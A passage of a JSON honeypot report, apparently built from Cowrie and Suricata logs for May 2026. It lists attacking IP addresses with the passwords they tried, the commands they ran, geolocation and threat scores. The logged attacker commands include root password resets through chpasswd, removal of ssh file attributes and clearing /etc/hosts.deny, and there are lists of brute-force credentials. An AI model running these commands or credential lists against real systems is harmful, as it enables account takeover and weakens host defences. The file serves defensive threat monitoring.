        "Cowrie": 219,
        "Suricata": 71
      }
    },
    "154.83.196.237": {
      "attack_count": 218,
      "first_seen": "2026-05-04T16:12:56.227Z",
      "last_seen": "2026-05-04T16:44:02.684Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "Administrator",
        "ansible",
        "lighthouse",
        "postgres",
        "student3",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "!Qaz2wsx3edc",
        "123456789zxc",
        "123qweasd",
        "19881988",
        "1qaz@WSX!QAZ",
        "1qazXSW@",
        "3245gs5662d34",
        "345gs5662d34",
        "55555555",
        "Administrator",
        "Fc@123456",
        "Gc123123",
        "Hetzner2026",
        "Hik12345",
        "QAZxsw123",
        "QWE123qwe123",
        "QWEasdZXC123",
        "Support@2025",
        "System123",
        "Wk123456."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:jKLLDfb3BZBz\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:12:56.227000+00:00",
        "last_seen_30d": "2026-05-04T16:45:12.722000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 70
      }
    },
    "165.154.6.26": {
      "attack_count": 212,
      "first_seen": "2026-05-25T00:47:20.195Z",
      "last_seen": "2026-05-25T01:39:10.890Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "curl",
        "ubuntu",
        "andres",
        "cloud",
        "james",
        "osboxes",
        "rancher",
        "tmax"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234qwer",
        "1234qwer!",
        "Ubuntu2023",
        "Wangsu@2017",
        "Ww123456..",
        "andres",
        "fjbdfdjkdsfs541544",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "james",
        "osboxes.org",
        "qwe123",
        "rancher",
        "tmax",
        "welltech12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:tFNQr7fUUhhp\"|chpasswd|bash",
        "echo \"welltech12\\noIEoXtwsfUsu\\noIEoXtwsfUsu\\n\"|passwd",
        "echo -e \"welltech12\\noIEoXtwsfUsu\\noIEoXtwsfUsu\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 29.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T00:47:20.195000+00:00",
        "last_seen_30d": "2026-05-25T01:40:15.299000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 46
      }
    },
    "161.132.4.167": {
      "attack_count": 208,
      "first_seen": "2026-05-12T00:35:26.458Z",
      "last_seen": "2026-05-16T20:11:47.134Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234567890",
        "admin123",
        "password1",
        "123",
        "1234",
        "qwerty123",
        "1q2w3e4r",
        "123456"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": null,
      "asn": 3132,
      "as_org": "Red Cientifica Peruana",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 297,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T00:32:09.929000+00:00",
        "last_seen_30d": "2026-05-16T20:12:47.516000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 208,
        "Suricata": 89
      }
    },
    "116.55.173.133": {
      "attack_count": 206,
      "first_seen": "2026-05-22T21:25:52.803Z",
      "last_seen": "2026-05-23T07:51:27.635Z",
      "sessions": 103,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 310,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:25:52.803000+00:00",
        "last_seen_30d": "2026-05-23T07:52:37.676000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 206,
        "Suricata": 104
      }
    },
    "222.246.40.216": {
      "attack_count": 168,
      "first_seen": "2026-05-22T10:23:52.700Z",
      "last_seen": "2026-05-22T20:32:19.695Z",
      "sessions": 84,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 259,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:23:52.700000+00:00",
        "last_seen_30d": "2026-05-22T20:33:25.343000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 91
      }
    },
    "85.208.110.83": {
      "attack_count": 168,
      "first_seen": "2026-05-17T18:30:08.098Z",
      "last_seen": "2026-05-17T18:53:09.291Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123qweZXC",
        "135858",
        "2014qwer",
        "3245gs5662d34",
        "345gs5662d34",
        "555",
        "aaa123",
        "aaaaaaaaaaaa",
        "admin2014",
        "asteriskftp",
        "elena123",
        "hj123",
        "morgan",
        "nowone",
        "pa123",
        "penguin",
        "pragma",
        "teddy",
        "testing123456",
        "transltr"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:BeAGWOsISz2X\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Cyprus",
      "country_code": "CY",
      "city": null,
      "asn": 209847,
      "as_org": "WorkTitans B.V.",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T18:30:08.098000+00:00",
        "last_seen_30d": "2026-05-17T18:54:12.724000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "34.140.88.83": {
      "attack_count": 144,
      "first_seen": "2026-05-09T07:22:58.245Z",
      "last_seen": "2026-05-09T08:11:32.491Z",
      "sessions": 64,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Host: 172.105.186.117:23",
        "Cseq: 8423",
        "Cseq: 8787"
      ],
      "commands_executed": [
        "PING"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 226,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T07:22:58.245000+00:00",
        "last_seen_30d": "2026-05-09T08:12:42.531000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 82
      }
    },
    "122.154.58.9": {
      "attack_count": 143,
      "first_seen": "2026-05-22T16:21:52.156Z",
      "last_seen": "2026-05-22T17:21:17.019Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "hik",
        "jeff",
        "kiran",
        "mobile",
        "sdbadmin",
        "slave",
        "tfserver",
        "user-backup",
        "user1"
      ],
      "passwords_attempted": [
        "!qaz2wsx",
        "1",
        "1010",
        "123",
        "1231",
        "3245gs5662d34",
        "345gs5662d34",
        "Hik@2025",
        "Li@123456",
        "Qwerty@1234",
        "administrateur",
        "kiran",
        "mobile",
        "sdbadmin",
        "slave",
        "tfserver",
        "tianhu@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:PIGvJOWSNAee\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Hat Yai",
      "asn": 9931,
      "as_org": "National Telecom Public Company Limited",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T16:21:52.156000+00:00",
        "last_seen_30d": "2026-05-22T17:22:20.420000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "150.136.129.10": {
      "attack_count": 143,
      "first_seen": "2026-05-30T07:09:28.865Z",
      "last_seen": "2026-05-30T07:35:35.929Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "anna",
        "ftpmedia",
        "hello",
        "hh",
        "info",
        "lemon",
        "marc",
        "runner"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Abc123456*",
        "Tk123456@",
        "admin888",
        "cyber@123",
        "ftpmedia",
        "hello",
        "hh",
        "htvx32v6",
        "info",
        "lemon",
        "password",
        "qahiliselo",
        "ready2go"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:texyCJwJRBOe\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 182,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T07:09:28.865000+00:00",
        "last_seen_30d": "2026-05-30T07:36:44.255000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 39
      }
    },
    "27.15.173.51": {
      "attack_count": 134,
      "first_seen": "2026-05-23T08:01:49.575Z",
      "last_seen": "2026-05-23T14:00:45.687Z",
      "sessions": 67,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 26.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 201,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:01:49.575000+00:00",
        "last_seen_30d": "2026-05-23T14:01:54.745000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 134,
        "Suricata": 67
      }
    },
    "116.138.221.89": {
      "attack_count": 132,
      "first_seen": "2026-05-20T16:28:22.979Z",
      "last_seen": "2026-05-20T16:34:09.159Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 22.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 199,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T16:28:22.979000+00:00",
        "last_seen_30d": "2026-05-20T16:35:12.812000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 67
      }
    },
    "71.173.193.16": {
      "attack_count": 123,
      "first_seen": "2026-05-29T08:54:26.262Z",
      "last_seen": "2026-05-29T09:12:51.678Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "apache",
        "debian",
        "kong",
        "soporte",
        "test"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Qwe123456.",
        "Wt123456",
        "admin2020",
        "apache",
        "debian123",
        "fjbdfdjkdsfs541544",
        "kong",
        "mar",
        "qwer1234.",
        "soporte",
        "test123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:DB6pV2tIx73I\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Harrisburg",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 32.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T08:54:26.262000+00:00",
        "last_seen_30d": "2026-05-29T09:13:58.019000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 30
      }
    },
    "186.190.215.90": {
      "attack_count": 108,
      "first_seen": "2026-05-08T07:10:09.429Z",
      "last_seen": "2026-05-30T16:12:33.616Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 63023,
      "as_org": "GTHost",
      "threat_score": 50.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.0,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T07:10:09.429000+00:00",
        "last_seen_30d": "2026-05-30T16:13:34.933000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 54
      }
    },
    "67.23.227.170": {
      "attack_count": 102,
      "first_seen": "2026-05-02T15:30:06.801Z",
      "last_seen": "2026-05-02T15:43:22.281Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 33182,
      "as_org": "HostDime.com, Inc.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 156,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T15:30:06.801000+00:00",
        "last_seen_30d": "2026-05-02T15:45:42.236000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 102,
        "Suricata": 54
      }
    },
    "154.144.225.226": {
      "attack_count": 78,
      "first_seen": "2026-05-28T07:44:36.246Z",
      "last_seen": "2026-05-28T08:01:33.627Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root",
        "frontend"
      ],
      "passwords_attempted": [
        "223344",
        "aaaa1111",
        "admin99",
        "frontend"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:aWdB9geEHMTu\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 6713,
      "as_org": "Itissalat Al-MAGHRIB",
      "threat_score": 29.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T07:44:36.246000+00:00",
        "last_seen_30d": "2026-05-28T08:02:36.952000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 78,
        "Suricata": 11
      }
    },
    "104.248.22.153": {
      "attack_count": 58,
      "first_seen": "2026-05-27T02:40:44.495Z",
      "last_seen": "2026-05-29T14:41:20.877Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "User-Agent: Go-http-client/1.1",
        "GET /solr/admin/cores?action=STATUS&wt=json HTTP/1.1",
        "GET /solr/admin/info/system HTTP/1.1",
        "GET /v2/_catalog HTTP/1.1"
      ],
      "passwords_attempted": [
        "Host: 172.105.186.117:23",
        "Connection: close"
      ],
      "commands_executed": [
        "Connection: close",
        "User-Agent: Go-http-client/1.1",
        ""
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 67.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.4,
        "persistence": 5.0,
        "diversity": 18,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 138,
        "days_active_30d": 6,
        "ports_targeted_30d": 9,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-25T22:19:10+00:00",
        "last_seen_30d": "2026-05-30T15:24:11.964000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 74,
        "Cowrie": 58,
        "Honeytrap": 4,
        "H0neytr4p": 1,
        "Ipphoney": 1
      }
    },
    "173.236.82.246": {
      "attack_count": 54,
      "first_seen": "2026-05-08T04:08:40.034Z",
      "last_seen": "2026-05-31T22:48:37.260Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 50.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:08:40.034000+00:00",
        "last_seen_30d": "2026-05-31T22:49:40.081000+00:00",
        "days_since_last_seen": 0
      },
